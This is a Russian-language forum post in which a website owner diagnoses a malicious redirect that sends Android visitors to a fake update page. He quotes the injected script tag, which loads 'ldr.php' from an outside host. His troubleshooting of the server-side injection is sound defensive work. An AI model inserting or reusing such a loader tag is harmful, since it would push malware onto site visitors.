mad4sys

Рейтинг
0
Регистрация
09.07.2013

Подобная проблема и у меня (четыре раза за месяц). Грешил на яндекс, но расскажу свой метод решения этой проблемы.

Симптомы:

Заходим на сайт с устройства на Android, нас перебрасывает на сайт с предложением обновить какую-нибудь вещь. Заходим еще раз - грузится наш сайт. Если поменять ip, снова предложит "обновить" (установить вирус).

Диагноз от хостера:

"Проверьте htaccess, там скорей всего есть редирект. Обновите CMS. "

"Сервера не ломают, чтобы распростраянть вирус через пользователей. У нас все постоянно проверяется. Ищите у себя."

Действуем:

htaccess чист:

Options All -Indexes

<Files .htaccess>

order allow,deny

deny from all

</Files>

php_flag display_errors off

Ставим плагин для хрома(User Agent Switcher) на компе, чтобы выдать себя за андроид. Выключаем-включаем интеренет (меняется ip). Заходим на сайт видим редирект. Значит вирус поверил, что мы с андроида.

Популярной cms нет, движок написан ручками с нуля.

Просматриваем код страницы после нормальной загрузки (повторной). Все как обычно. Меняем ip. Обновляем страницу с исходным кодом и видим:

<script type="text/javascript" src="http://ad.energyoffsol.biz/ldr.php?21717218452"></script>

прям перед </head>

Благо есть тестовый домен на том же ip, что и зараженный. Заливаем туда index.php, htaccess, папку с js-скриптами с зараженного компа. Тестим (как было написано выше) - редирект :(

Удаляем все файлы из паки с js-скриптами. Тестируем - редирект :(

Удаляем все html-теги разметки, ссылки на css. Оставляем <html><head><title></title><пару ссылок на удаленные скрипты в папке js></head><body>111</body></html>. Тестирум - редирект(

Убираем половину тегов скрипт, а в остальных удаляем начало ("<sript"). Тестирум - редирект( Меняем ip, смотрим код - скрипт с редиректом (выше указанный) появился.

Удаляем все теги <script> (неработающие) - редиректа нет. Значит парсит по тегам <script>, даже битым.

Показываем хостеру одинокие .htaccess, index.php (без php и js), пустую папку "js" и спрашиваем какого лешего происходит редирект, если "на сервере вируса нет".

Название хостинга, говорить не буду. Посмотрим как оперативно они решат проблему.